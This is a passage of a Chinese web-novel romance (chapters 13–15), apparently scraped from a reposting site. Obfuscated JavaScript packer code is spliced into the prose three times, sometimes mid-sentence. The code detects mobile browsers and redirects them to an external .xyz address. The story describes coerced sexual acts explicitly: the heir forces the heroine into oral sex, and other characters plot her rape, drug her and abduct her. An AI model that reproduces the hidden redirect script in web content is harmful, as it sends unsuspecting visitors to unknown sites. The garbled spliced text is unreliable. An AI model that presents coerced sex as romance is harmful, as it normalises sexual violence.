这么一惊一扰,青鸢居然头脑清醒一些,她看清眼前的状况以及自己的主动,当即脸红得似欲滴血。 她慌忙直起身,拢了拢身上衣衫,挡住胸前呼之欲出的汹涌春色,嘴巴抿紧。 瞿涯未餍足地看着她,眸色很深。 青鸢想脱身,支支吾吾地与他商量:“那,那位邝将军,就是先前在台上舞剑的英姿飒爽的女将吧,真是巾帼不让须眉。世子不如先忙正事,若之后想见我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298943|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们再见。” 瞿涯一把揽上她的腰,不许她再往后躲:“还没与你待够,谁也不见。” 说着,他目光下睨,看着自己的失态,无奈哂笑道:“帮忙,岂有帮一半的道理?” 青鸢眼神求饶,无措极了:“我,我有些不敢,我从没有这样过……世子饶我吧。” 她的话不知为何取悦到了瞿涯。 他开怀笑了笑,温柔抚摸她的发,竟说了句:“乖,不会才好。” 青鸢迷迷澄澄的,一时辨不明他话里的意思。 瞿涯敛开衣袍,单手摁着青鸢的脖子往前压迫,正准备将人就地正法,狠狠堵上,佟木不知死活的声音却再次自外传来,语调比先前更显急切。 “世子饶命,非卑职存心作扰!前院狄国公府来人了,老爷与驸马都尉都遣人唤世子过去迎客,此事属下不敢不报……” 瞿涯强迫青鸢张嘴的动作一滞,脸色沉下来,很不情愿就此暂定,草草了事。 他对外传话,语气不好:“狄国公府又如何,先叫等着!” 佟木为难回:“怕是等不得,老爷那边已经催了两回,说国公府前来祝贺的正是国公世子祁羡,来了重要客人,世子不亲自去迎,恐怕说不过去,都尉那边也是这个意思。” 青鸢默默听着,心里不上不下。 骇人灼热的东西已经快烫到她脸上了,她僵得一动不敢动,保持这样的危险距离,她还听着两人正常正经的对话,心里忍不住浮起一种诡异的异感。 方才邝将军找寻,他还能随意推辞,但眼下似乎不能了。 瞿涯的欲求不满全部写明在脸上,面色黑沉得如乌云密布的暴雨天。 青鸢反倒是偷偷松了口气。 “知道了,你去回话,我马上过去。” “是!” 瞿涯吩咐,佟木应声。 青鸢在旁只顾庆幸,瞿涯要走,她当然如释重负,浑身紧绷的劲力跟着慢慢松懈下来。 瞿涯盯她两眼,看透她的心事,不悦。 他存心惩戒捉弄,趁着青鸢放松对他完全没防备时,向前猛然一挺。 那张樱桃小口被撑得鼓囊,像是一口吃下半个包子。 凉亭里,动静只起了片刻,瞿涯便意犹未尽地将人放过了。 又不是酷刑,还至于哭? 他不过逗逗她,浅尝辄止,罚一罚她刚刚的不用心。 青鸢连声咳嗽,止都止不住,眼眶通红,叫人生怜。 佟木还在外面等,瞿涯迅速整理好衣衫头冠,又抱着青鸢哄了两声,帮她擦去眼尾悬而未落的眼泪。 “至于哭嘛,刚刚不过试一试,又没有真弄到里面,按理说痛不到你。” 这是痛不痛的问题吗! 青鸢瞪着他,紧抿住唇,耳垂滴血,不肯回话。 她窘迫到家了,完全想不到瞿涯会将直白露骨的话随意脱口而出,更无法从容应对。 瞿涯等了等,不得回应,也不怪,自顾自又道:“等我空闲了,派人送你回去?” 青鸢摇头,声音轻颤颤的,还是无气力:“不了,我随阆苑的人一起回,刚刚我消失得突然,现在又过去这么久,我该如何对外解释才合理?” 他一时兴起,随意将她带走,若无周全的应对之策,事后麻烦都得找在她身上。 瞿涯安抚她:“放心,我都有安排。你只说台幕黑下来时,你因看不清,不小心崴了脚,之后被佟木发现,被他带到后苑寻医士诊疗了。至于独舞环节的取消,也都推给佟木,说是他的安排,我亦后来知情,念及是意外状况,并不责难阆苑的管事。” “就这样吗?” “我的面子还不够你用?” 那自然是够的,拿瞿涯的名字挡在前面,最起码薛三娘她们没理由再找她的麻烦。 青鸢低垂着眼睫回:“世子思虑得周全,我就用这番说辞了。” 瞿涯含笑看着她,轻“嗯”了声。 外面佟木又战战兢兢地出声催促,瞿涯只得尽快走了。 走前,他琢磨着交代了句:“你这身衣服,味道不好,走前换了吧。” 青鸢低头往自己领间嗅了嗅,一股淡香幽幽地钻入鼻腔,莫名其妙就叫人头脑胀晕,奇怪又蹊跷。 她点点回:“知晓了。” 瞿涯离开。 确认瞿涯走远,青鸢起身去拿桌上的酒壶。 她也懒得倒进杯里饮,直接仰头张嘴接,嘴里含了一大口酒水,辣得她直流眼泪。 用力漱了漱口,又全部吐进旁边的矮灌丛里。 她不是那种恶心的想吐,而是余留的异物感太强,方才被占据得连呼吸都困难的情形真是阴影,她尝试嘴巴完全张开,却仍漏不进去丝毫空气,想想都头皮发麻,一阵后怕。 而惧怕的根本源头无非就是…… 世子,真的太大了。 13.第 13 章 前院,薛三娘派去寻人的小厮终于搜找到些蛛丝马迹,先前他们只寻青鸢一人,到底目标太小,如今加上杨公子一起,行事则顺利很多。 他们追踪到,杨桀离席后,偷偷摸摸钻进假山里,而后真的在里面等来一位姑娘,两人卿卿我我好一阵后,出了假山,似是准备找片隐蔽的小树林,方便藏进去行苟且。 薛三娘与邹清清得到消息,大喜,兴冲冲地追过去捉奸。 杨桀席上喝得半醉,脚步都悬浮,当下警惕心一般,根本未察觉到身后有人跟梢。 他只顾揽着自己怀里的娇羞女郎,边走边不正经地摸弄揩油,色心愈发高涨,只想能赶紧解开裤子爽一爽。今日他来庆功宴上,想看青鸢却没看成,心里着实惋惜,不过现在有别的小妮子上赶着来为他泻火,甚至还愿与他野合,倒也刺激,不虚此行。 前面正有一处隐秘树林合适,杨桀选定地点,带人进去,敷衍着将周围灌草踩平,便急吼吼地扒光了人家姑娘的衣裙,饿狼扑食一般,压着人家就要上。 树林外的小道上,薛三娘和邹清清迟一步赶到。 小厮们将树林里情况禀明,薛三娘与邹清清对望一眼,眼里都冒着计划即将得逞的光亮。 没过一会儿,哼哼唧唧的不雅声响断续传出,简直不堪入耳。 这里毕竟是熹园,瞿涯的地盘,两人没敢太过造次,女子最开始是没忍住叫声的,但后面便自觉收敛,像是全程捂着嘴。故而传到外面的动静越来越不明显,有时若不聚精会神仔细去听,根本察觉不出来。 邹清清等了等,耐不住性子问:“姨母,咱们要不现在直接进去,捉青鸢个现行!” “不急,再等等。”薛三娘做事周全,想了想,转身对身后两个小厮低声吩咐道,“你们现在去寻熹园巡逻的士兵,就说在此发现了贼人匿进林中。” 小厮应声离开。 人一走,邹清清立刻明白了姨母的用意。 薛三娘笑了笑,敷粉的脸面在黑夜里白得诡异:“急什么?先叫世子的人进去捉贼,咱们迟一步跟进去捉奸,不是正好?” 邹清清笑着跟附:“还是姨母周到,事已至此,我看青鸢这回是栽定了。” 熹园巡逻的兵士很快赶来,被薛三娘指着方向,引进林中。 薛三娘与邹清清刻意放缓脚步,在后面不紧不慢跟着,像是待捕螳螂与蝉的黄雀,谋定在心。 一切就绪,就等里面的动静了。 与两人料想的一样,林深处传出的第一声叫喊,是出自杨桀的怒骂声。 他半惊半恼,还有点没回过味来:“你们谁啊?敢抓我……我可是你们世子发帖请来的贵客!放肆!松开老子……” 接着,又传出女子低低颤颤的惊恐哭声,听得邹清清心底真是一阵痛快。 薛三娘与邹清清忍不住加快脚步,迫不及待想看青鸢被人捉奸成双后的狼狈样子。 然而结果却令人瞠目惊愕。 里面确实已经捉了奸,与杨桀厮混苟且的女子也的确是阆苑的姑娘。 可那人并不是青鸢。 邹清清觉得女子眼熟,多辨几眼认出来,那人是阆苑琵琶轩的琵琶女,名唤喜儿,明日里根本不起眼的一个人,没想到竟也暗中生了勾搭攀附的心思。 邹清清面带讥嘲与不甘心:“怎么是你?不要脸。” 怪不得先前总听到杨桀与阆苑姑娘不清不楚的谣言,邹清清就是不相信空穴来风,所以才因各种巧合,联想出杨桀与青鸢的私情,继而有捉奸一事,结果不成想,与杨桀有私情的竟是另有其人。 喜儿来不及将衣服穿好,布料堪堪披挂在身上用以蔽体,乞乞缩缩地不敢回话。 阆苑有严格的等级排位,她位次偏低,平日里就习惯了低眉顺眼,被人吆五喝六,眼下犯了错更加心虚,哆哆嗦嗦的一个字也说不出来。 领头的巡逻兵士应付完杨桀,核实完毕,一本正经对薛三娘道:“这就是你们刚刚看到的贼人?应该是误会了,这位杨公子确实是我们世子请来的客人,大概是酒后失态,才行踪诡异地带人藏进了林中。” 薛三娘不见青鸢在场,左右抻脖去瞅,生怕有疏漏的地方。 到底怎么回事,青鸢怎么会成喜儿? “没其他人了吗?不对啊,青鸢在哪……” 薛三娘轻轻低喃,杨桀却听清了。 他提溜上裤子,裸着上半身站定到薛三娘面前,黑着整张脸。 “什么青鸢?老子哪知道!她不是不跳了吗?台上台下的找不到,你们几个是找死,敢来坏老子的好事!” 薛三娘被吼得浑身一哆嗦。 杨桀向来是不好惹的刺头,先前为了毁坏青鸢的名声,得罪他也是无奈之举,可如今捉奸捉个无关紧要的喜儿,还为此去开罪杨桀,实在得不偿失了。 邹清清也终于回过味来,眼见计划落空,咬了咬牙,强忍着挤出个笑容出来,上前去打圆场:“杨公子,您消消气,都是一场误会,这黑灯瞎火的加上我们眼神不好,竟误把您当成贼了,实在不好意思,我们赔礼,一定给您赔礼。” 杨桀却不卖面子,抬手一巴掌甩在邹清清脸上,恨恨道:“眼神不好就把眼睛挖了!还留着干什么?老子因为你们差点萎了,要不你现在跪下来给老子舔舔,能重新起来就饶了你?” 邹清清被他打蒙了,一侧脸颊火烧火燎,同时也被他的荤话刺激得生惧。 薛三娘到底算王爷的人,知晓自己还能卖几分薄面,赶紧讨好地向杨桀承诺补偿:“我们真是无心之失,杨公子宽宏大量千万别跟我们计较,不如这样,日后杨公子来阆苑听曲赏舞,酒水随意饮用,分文不取,就算是我们的赔礼诚意了。” 杨桀很不屑:“老子什么身份,差你们那点酒钱?要说你们阆苑有什么我稀罕的……这样,下次我去,你叫青鸢来房间单独给我弹一首,如此我就卖你个面子,将今日的事翻篇,不然,有你们好看的。” 薛三娘腿都软了,这要求可答应不得。 青鸢是王爷的座上宾,虽是住在阆苑,可进出自由,完全不受她调管,她根本做不了青鸢的主。 若非如此,她也不会视青鸢为眼中钉,欲除之而后快了。 薛三娘想婉拒:“杨公子,这个实在……” 她话没说完,邹清清兀自把话茬接过去,自主主张替她答应道:“好,此事就按杨公子说的做,青鸢也是阆苑的人,该替阆苑还人情。” 薛三娘心惊,赶紧去拽邹清清的胳膊。 邹清清拂下薛三娘的手,像是没察觉到似的,继续笑着与杨桀道:“不过青鸢妹妹一向有自己的规矩,她一般不在阆苑会客,都是在阆苑附近的私邸与郎君约着见面的。” 杨桀哼了声:“原来清高的名头都是虚堆出来的,弯弯绕绕的还不是都一样。她有这规矩怎么不早说?小爷我有钱挥霍,也愿意卖她面子,不就是配合她装装清高嘛,这容易,再怎么装睡起来后也都一样了。” 邹清清皮笑肉不笑地应付着。 有了青鸢,别的女子都显寡淡。 杨桀火气消了大半,看了眼瑟缩在草堆里的喜儿,说了句:“这也是你们阆苑的人,一块带回去吧,记得别为难她。” 邹清清替薛三娘应下:“杨公子放心,大家都是姐妹,说几句难免,不过没别的苦头受。” 杨桀心里没了不快,拿起自己的衣服搭在肩上,大摇大摆地走了。 等熹园巡逻的兵士们一并离开后,薛三娘吩咐身边小厮将喜儿带走,叮嘱“家规”处置。 余下两人后,薛三娘终于忍不住道:“清清,你糊涂!就算是应付他,也不能答应这样的条件啊,青鸢那边你说服不了,还白白搭上了阆苑的好名声,若你无法践诺,就等着杨桀来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16304044|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阆苑闹腾掀房顶吧。” 邹清清冷静着安抚:“姨母,张弓没有回头箭,此事我们做了就要做到底,不然青鸢永远在阆苑压你一头。你放心,我已有主意,杨桀是个色胚,青鸢的清白毁在他手里,咱们摘脱干净就是。” “可王爷那里……” “王爷不过是看重她那双抚琴的好手,此番我们要她破身,又不是要废她弹琴的手,就算事发,王爷也不会过分追责,而偌大的京城,又有谁会为青鸢出这个头。” 仔细想想,还真如此。 一个身份低微的伶人姑娘被权贵公子强占,传出去也不是什么骇闻,哪怕是青鸢,名声再盛,也不会真使得王爷为了她与杨家翻脸。 在京城,无权无势还生得貌美,再没人庇护,当然只有被吃干抹净的份。 既然她与杨桀不是你情我愿,那就干脆强迫行事! 反正,她身后无一人。 …… 庆功宴将近结束时,青鸢才重新出现在台幕后,阆苑的姐妹们见到她,纷纷上前,讶异关询。 薛三娘与邹清清神色怪异一瞬,很快伪装自然。 消失了这么久,总得解释。 不过无需青鸢自己费口舌,带她过来的熹园外院掌事,主动临众说清她崴脚受伤后,被带去后苑诊疗的事。 过程讲述合理,无一处可引疑。 并且为了严谨,青鸢脚踝处真的被熹园医士处理过,还特意缠上了几层纱布。 最后,掌事的特意补充,世子已经知情,并不责怪。 薛三娘松了口气,赶紧面上赔笑,作势去扶青鸢,夏蝉眼疾手快先一步凑身过去,才不要旁人去碰姑娘。 忙活了半夜,人人疲乏,宴会也近尾声,阆苑的姑娘们可以先走一步。 青鸢与众人同行,念及还要装成脚步不便的样子,步伐特意迈得小,于是走着走着,自然落到了队尾。 原想着走在队尾正好落得清净,但还是有人刻意等她,凑近过来要与她搭话。 是邹清清。 青鸢抬眸看她一眼,开口礼貌:“邹姐姐有事?” 邹清清面上带笑,装模作样地先关询她的伤势,而后聊到别的:“刚刚听掌事的说,青鸢妹妹被带到后苑寻医士处理伤口,方才宴会中途,世子离席好似也回了后苑休歇,不知青鸢妹妹有没有与世子碰上面啊。” 原来又是试探。 青鸢摇头,口吻平平:“未曾,掌事的说是带我去了后苑寻医士,但那屋子不过与前院隔了一道墙,再后面就是世子的私人地界了,熹园的人哪会冒然带我这个外人过去。” 这话听着有理,不像假的。 邹清清安了心,面上笑意更甚:“幸好是崴了脚,不是伤了青鸢妹妹宝贵的手,回阆苑后妹妹一定记着小心养护啊。” 青鸢同样也笑意盈盈,看谁更像笑面虎:“多谢邹姐姐关心,我知晓的。” 邹清清脚步放开,很快越过青鸢,收敛笑意自顾自朝前走了。 原本她还担心,万一青鸢撞运结识了世子,那可不得了了。 世子可不是寻常的纨绔子弟,他虽是侯府世家出身,却不贪父辈之功,自己入军营脚踏实地积累军功无数,如今更是陛下最看重的征虏大将军。 若青鸢那狐媚子发骚勾引到了世子这般人物,她心里一定比吃下苍蝇还恶心难受。 还好没有。 幸好没有。 其实想一想,也是她多心了。世子矜贵风范,端方持重,岂会像那群混迹花楼的浪荡纨绔一样,被青鸢蒙着面纱随意放放眼波,就迷得七荤八素,不知自己姓甚名谁了。 世子欣赏的女子,定是与侯府门当户对的闺秀千金、端庄淑女,再或者是能与他并肩作战的巾帼女将。 至于像青鸢那种妖妖调调,脸蛋妩媚身段轻浮的,到死也不会入世子的眼! 14.第 14 章 回到阆苑,进顶阁寝屋,周身被熟悉的环境包围,青鸢才终于有了安定的感觉。 她沐浴过后躺进榻上,身子疲乏,精神却活跃得睡不着。 想起方才在路上,夏蝉询问她突然消失的真实缘故,显然崴脚这样干巴巴的借口,骗得过外人,却瞒不过与她朝夕相处的亲近心腹。 青鸢大致讲述,言道是世子想找她聊聊阿娘与王爷的事,于是帮她金蝉脱壳,至于崴脚什么的确实都是借口,她并没有受伤。 “那衣裙呢,姑娘身上的衣裙怎么换了?”夏蝉当时追问。 这处细节,旁人都没注意到。 阆苑姑娘们上台表演都有专门的服饰,而下台换下服饰后,还有自己的私人衣装,青鸢自己那套私服是浅蓝色的,而世子给她的偏些浅绿。两者当然是不同,但不明显,也就夏蝉这样贴身伺候她的能留意到,至于旁人,恐怕还真难辨别出来。 此事在外人眼里圆过去容易,但在夏蝉这里说通,是有点难度。 青鸢没露真实情绪,平静的口吻道:“没什么,我这身舞裙款式暴露,不宜与世子相对着正经谈话,世子看我窘迫不自在,便好心叫人送了新衣裙给我。” 夏蝉张张嘴巴,有点讶然:“世子还会这么好心……” 青鸢内心叹息,嘴上却回:“是啊,世子有些时候人挺好的。” 夏蝉安了心,又问:“世子与姑娘既聊到了贺阿娘,那他现在是接受的态度吗?” 两人其实压根没有聊这个,青鸢只好现编现挂。 她自己揣测着回复:“完全接受应该不太可能,但一定没有像以前那么排斥了,眼下庆功宴已经办成,后面阿娘与侯爷的婚事能不能推进,我们得从阿娘那里听消息了。” 夏蝉点点头,不疑有他,完全相信青鸢所说,不再追问别的了。 青鸢思绪回笼,依旧无困意。 她躺在榻上怔怔望着头顶的绮罗帐幔 ,而后翻身换了个更舒服的姿势继续趴躺,也不顾规矩淑雅了,怎么舒服怎么来。 房间静俏俏的,人就容易胡思乱想。 她难免再次想到瞿涯。 还有刚刚对夏蝉说的那句——世子人挺好的…… 她真是后悔想咬自己的舌头! 什么好人会那样行事,在露天的凉亭里解下裈裤,摁住她的后脑硬生生迫着去堵。 大概脑海里闪过的画面冲击力太强,青鸢呼吸变得急促,喉腔里的异样感没那么容易彻底消失,她当然想全部忘记,可烧灼的后遗之症不断提醒她,一切都是真实发生。 她抱有一丝侥幸,等世子将新鲜招式在她这里都试过了,大概会对她再无兴致。 那时,阿娘已顺利嫁进侯府,而她与他将默契了断所有瓜葛。 …… 自庆功宴结束,过去三日半,青鸢终于在阆苑等到阿娘传来的秘密信笺。 信上带来好消息。 因世子没再强行横阻,老侯爷终于求得圣上应允婚事,只待选中黄道吉日,两人便将完成婚事。 青鸢将信攥在手里,激动之情溢于言表,真心为阿娘得偿所愿而高兴。 她忍不住想去小院看望阿娘,夏蝉却劝阻说:“姑娘还是等等,最近几日,我总觉得阆苑有眼睛在盯着咱们,你与贺阿娘的关系还是隐秘的,关键时候,还是小心为上。” 青鸢冷静平复下来,也更加谨慎:“你说得对,越是婚礼前夕,我们越该沉得住气,绝不可叫外人以我为把柄,阻挠阿娘与侯爷成婚。” 这番思量是有必要的。 镇北侯要迎娶伶人续弦一事,在世人眼里已是滑天下之大稽,若是他们知晓贺娘子还有个住在阆苑顶阁的女儿,名声甚广,只怕风风雨雨的谣言与中伤会来得更加猛烈。 在京中,只少数人知晓青鸢与贺容音的关系,勤王算一个,再有就是侯爷与世子,青鸢不想小范围的隐秘被昭告天下,叫阿娘殚精竭虑的同时,又要承受不堪入耳的非议。 见面不妥,但为了叫阿娘安心,青鸢还是安排夏蝉传了信笺过去。 青鸢一人外出,目标显眼,但夏蝉出阆苑采买则再正常不过,何况她有功夫在身,寻常的小厮盯梢根本看不住她。 后面几日都过得风平浪静,连一向对她颇有微词的邹清清也几番示好,几次送给她亲手炖煮的鲜汤。 青鸢习惯与人为善,也不拂邹清清的面子,对方笑脸相迎,她便也跟着友好。 这些人都好应付,唯独世子那边,出乎意料地派人捎过一次口信来。 世子想见她,叫她自己赴约熹园,可眼下特殊时期,青鸢不敢冒然行事,又想起夏蝉提醒,阆苑疑似有人在暗中盯梢,她更不敢出行,以防将自己身上的祸水引给世子。 思来想去,青鸢决定不去赴约,连信笺都不敢私传。 后面一连几日,瞿涯那边都再没有动静。 青鸢心里不上不下的,生怕瞿涯觉得自己刚得到点好处,就敢对他敷衍怠慢。 两日后,夏蝉出门替她出门看望贺阿娘,她自己则百无聊赖待在寝屋研究新曲谱。 曲谱研究了一半,她起身走到窗前放松眼睛,过后想起前日新得的一副玳瑁义甲,便打来温水亲自洗濯,又上手试弹,手感正好。 刚收拾完这些零碎物件,外面有人敲门。 这个时辰夏蝉应该不会这么快回,青鸢犹豫了下,困惑去开门。 来人是薛三娘,手里提着食盒过来探望。 “都说伤筋动骨一百天,姑娘养伤可不能马虎了。这壶参茶特别滋养,还补气血,你早晚各喝一杯,伤势一定能恢复得更好,这一壶你先尝尝合不合口味,若是喝得习惯,我后面每日都给你送。” 这番殷勤叫人有些无所适从。 也不知是怎么了,她这回假受伤,邹清清与薛三娘似乎都格外上心,一个送鲜汤,一个送参茶,不辞辛苦,关怀备至,看着都像不安好心。 毕竟伸手不打笑脸人。 青鸢虽然琢磨不明白她们的动机,但面上功夫还是维系得很好。 “三娘费心了,我伤势其实不严重,先前养了两日就已经不疼了,实在不必这么劳烦。” 薛三娘:“哎呦,那可不行,这种动筋动骨的小伤若不养得彻底,很容易积损下来,日后发作,所以还是上心点好。你就别推辞了,每日给你煮壶参茶又不是什么麻烦事。” 话说到这,只好盛情难却了。 青鸢收下参茶,送人走后,还谨慎地特意取来银针检验,无毒,可以放心喝。 实话讲,先前邹清清煮的鲜汤味道就不错,现在薛三娘送来的参茶竟也合她口味,青鸢都快自我怀疑了,究竟是阆苑人人擅庖厨,还是她嘴巴太不挑了,什么都觉得好。 鲜汤与参茶间隔连饮的第三日,青鸢突然觉得自己身体不太对劲。 她头脑发昏,口干舌燥,喉咙也灼烫发紧,无论怎么饮水都不管用。 这股无名的烧灼感慢慢向下蔓延,引燃她的胃,她的小腹,青鸢很快站都站不稳,意识迷离即将倒下的瞬间,她清晰感受到一阵莫大的空虚旋涡自腿心向上黏攀,而她自己似浮萍飘叶,被迫卷进那旋涡中心的风口,如何都脱离不开。 再之后,她浑噩昏晕过去,房门也同时被人粗鲁踹开。 …… 一连几日,熹园内苑的氛围都格外压抑,世子心情不好,连带脾气也差。 任何不得他满意的小事都能惹得他烦躁黑脸,比如茶水温度偏差,饭餐咸淡不宜,甚至还有晚间窗外花丛里蛐蛐不停的叫吵声…… 世子一个吩咐,下面的人跑断腿。 佟木已经接连好几天半宿不能睡,不得已带着手下在院里晃荡,四处抓蛐蛐。 就是这样小心伺候着,也不能完全规避风险,佟校尉那般任劳任怨的,都难免要挨教训,下面的人眼看着这情形,只觉世子脾气阴晴不定,个个战战兢兢。 旁人不知内情,但佟木心里多少还是有门道的。 他大概猜出世子心情不虞,多半与青鸢姑娘有关。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319953|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 五日前,世子将约见的口信传出去,结果青鸢姑娘非但没赴约,还当作无事发生,干晾着世子连个解释的口信都没有,惹得世子无名火起,看谁都不顺眼。 也没人敢劝呐。 整个熹园能在瞿涯面前说上几句话的,也就是佟木,但他嘴笨又讷讷,自己将弯弯绕绕的干系理清楚想明白已经尽力了,实在不知道劝些什么才能叫世子舒心。 但他能确认,自己哪怕磨破嘴皮子,也不如青鸢姑娘过来同世子解释一句话管用。 既然如此,保小命要紧,他就不去冒险触霉头了。 佟木一直避着风险。 瞿涯却主动找他问话:“杨桀那边,查清楚了吗?” 佟木回话:“已经打听清楚,与杨桀私会的确是阆苑的喜儿姑娘,捉奸一事与青鸢姑娘并无关系。” 杨桀在熹园犯浑的事,是巡逻兵士在庆功宴结束后禀告给瞿涯的,但涉及的人都是些不相干的,瞿涯懒得多费精力追究,只鄙夷杨桀精虫上脑,辱没杨家将门门风,同时下了不许杨桀今后再进熹园的命令。 但后面有人提到了青鸢,说阆苑管事薛三娘原本以为与杨桀苟且的人是青鸢姑娘,当场捉奸捉到旁人,来人都很诧异。 瞿涯听得蹙眉,命人追查彻底,想知道青鸢背着他,究竟是不是敢招惹其他人。 那日,他传信要找她,也是想叫她过来当面解释清楚,结果没想到小雀翅膀硬了,他抬手扯一扯线,仍不肯飞回他的手掌心。 青鸢沉得住气对他不理不睬,瞿涯却烦躁甚嚣,没忍住派人盯紧阆苑的一切动静。 阆苑一直风平浪静,青鸢这些日子也本本分分谁也未见,加之佟木的话打消了他的顾忌,瞿涯便准备将派去盯着熹园的人撤回来。 就是这么巧,他命令还未下,负责盯梢的人传话回来,说是发现了青鸢不寻常的行迹。 瞿涯刚缓和的一点脸色骤然又阴沉下去,冷冷命令手下详细叙述。 暗哨发现,青鸢出行的专用马车在傍晚时分,悄悄摸摸从侧门驶出阆苑,之后七拐八拐弯弯绕绕,最终停在一户不甚起眼的屋院门口。 青鸢头戴白纱帷帽遮着脸,被人扶着进了院,随行的下人很快驱着马车离开,但青鸢独留在里,久久未出,像是在等人。 瞿涯脸色越听越黑,恼火青鸢真敢背着他私约旁人。 但一旁的佟木想了想,头一次头脑灵光,品过味来道:“世子,我觉得青鸢姑娘大概是想私约你见面。” 瞿涯淡淡睨着他:“什么意思?” 佟木赶紧说明自己的考虑:“那屋院的位置,世子听着不觉得耳熟吗?两年前世子秘密回京,身负重伤被狄国公府的人暗中搜查时,不就是巧合躲进那间院子,与青鸢姑娘意外初遇。那间房,本是阆苑安排给青鸢姑娘的第一个落脚点,在京知道的人并不多,她特意选在那里,还挑傍晚去,样子又像在等人,不就是在暗示世子过去见面?” 瞿涯脸色终于和缓一些,但还是绷着语气道:“她想见我,来熹园赴约便是,何必如此迂回麻烦。” 佟木又劝:“定是阆苑人多眼杂,行事多有不便,所以青鸢姑娘才不得不费尽心思,用这样周旋的方式与世子约见。先前不回世子口信,想来也是万般不得已的。” 瞿涯越听越受用,慢慢自己说服自己:“那她大概早知晓,我派人去盯了她的踪迹,更知道她无论去哪都有人回禀到熹园,算她脑筋灵活,还不蠢笨。” 佟木脸上乐呵呵的,十分得意。 他第一次靠着自己的聪明头脑帮世子消愁解忧,内心可谓成就感满满。 佟木:“世子要不要现在出门,我立刻去安排马车?” 瞿涯:“不必,你们都不用跟随,人多惹眼,易被察觉,我只身骑马去。” 万一人多走漏了风声,依青鸢那点小胆量,恐怕日后再不敢在小院与他私约相见。 瞿涯不想浪费这么方便见她的地方,故而谨慎,加之骑马更快,他当下迫不及待想再见到她。 15.第 15 章 青鸢再度醒来时,头晕得厉害,侧身观察四周,很快察觉自己正身处陌生环境里,心下立刻警惕起来。 她想起身下榻,刚一动作,忽觉脚踝处有绷紧的束缚感。 不知是何人将她的右足捆绑在床尾柱上,还有她的右手,被同样的手法绑在床头,青鸢尝试挣了挣,粗粝的麻绳磨着她的嫩肤,肌理很快泛红,难以挣脱。 她忍着浑身火热的焦灼难受,强迫自己冷静下来。 能在阆苑施手段将她弄晕,还能在不惊动任何护院的前提下,神不知鬼不觉地将她带走,要么背后捣鬼者是与阆苑里面的人里应外合,要么根本就是阆苑内部的人想要害她。 若是平常,有夏蝉护在身边,来人不一定能得逞。 但显然他们做足准备,甚至提前摸清夏蝉的行踪,就等她落单时刻出手,一看就是计划了许久。 会是谁呢? 青鸢自觉未与人结怨,也不曾害过他人,想不出谁会恨她至此。 理智的思绪只短暂停留,青鸢很快脑袋发晕,懵懵胀胀的无法继续正常思考。 她口干舌燥,浑身很热很热,忍不住抬手去扯身上的衣裙,因一手被束,只能单手乱抓,姿态吊诡。 心底涌动的渴望愈发强烈。 她身体不断贴床扭蹭,像是一条醉酒的白蛇,又不停单手抓扯,很快将轻薄的单衫从一侧肩头扯落,泄露出大片雪白的肌肤,凝脂无暇,莹莹晃目。 衣衫已半褪,她还是安定不住。 身下床榻如同一块升温的石板,石板下正堆着烧起的火焰,木柴像是无限量在烧,青鸢目光迷蒙躺在上面,嘴巴一张一合,被炙烤得浑身血液沸腾,分秒煎熬。 她渴望凉意纾解,哪怕一丝。 任何沁凉能帮她消火的东西,此刻她都忍不住地想去靠近。 …… 瞿涯独身赴约,纵马疾驰,很快到了青鸢初来京城时的落脚地,也是两人初次见面的地方。 街巷深里,那是一处不甚起眼的小院,三开间,与阆苑只隔了一条街。 来时路上,瞿涯忍不住想,青鸢此番迂回约见他,还特意将见面的地点选在旧地,会不会是想故意引他追忆往事,好将两人昔日的交集记得更加深刻。 她素来爱对他耍弄这些小心思。 虽然伎俩上不得台面,但瞿涯并不厌恶,于是睁一只眼闭一只眼,还是前往赴约,此举相当于纵容了青鸢对他耍弄心计,但在可控的范围里,也无可厚非。 瞿涯勒住缰绳,提前下马,打算步行至小院后门。 两人默契达成共识,私下的往来还是要隐秘谨慎些,如此于双方都便利。 临至后门,忽的听到院里传来两个男人对话的声音,瞿涯脚步一顿,抬眼看了看,确认自己没有找错门后,眉心立刻蹙起来。 他有些不明状况,原地站定,默不作声地继续听下去。 “鲁哥,今日咱兄弟俩接的可是美差啊,什么都不用做,只在这看守着就有银子拿,下回若有这样的好事,鲁哥一定还想着兄弟啊。” “咱哥俩什么交情,有好事我能不捎带着你?不过这种活也不多,阆苑规矩严,里面的姑娘轻易不敢与外男私通,像青鸢姑娘这样背后有王爷撑腰的,胆子自然大些。不过咱们既然接着这活,嘴巴都得放严点,不然下次可没有咱哥俩挣银子的机会了。” “是是是,那是自然。” 听到这儿,瞿涯脸色稍霁,只当青鸢多此一举,找来两个嘴碎的看门。 私通? 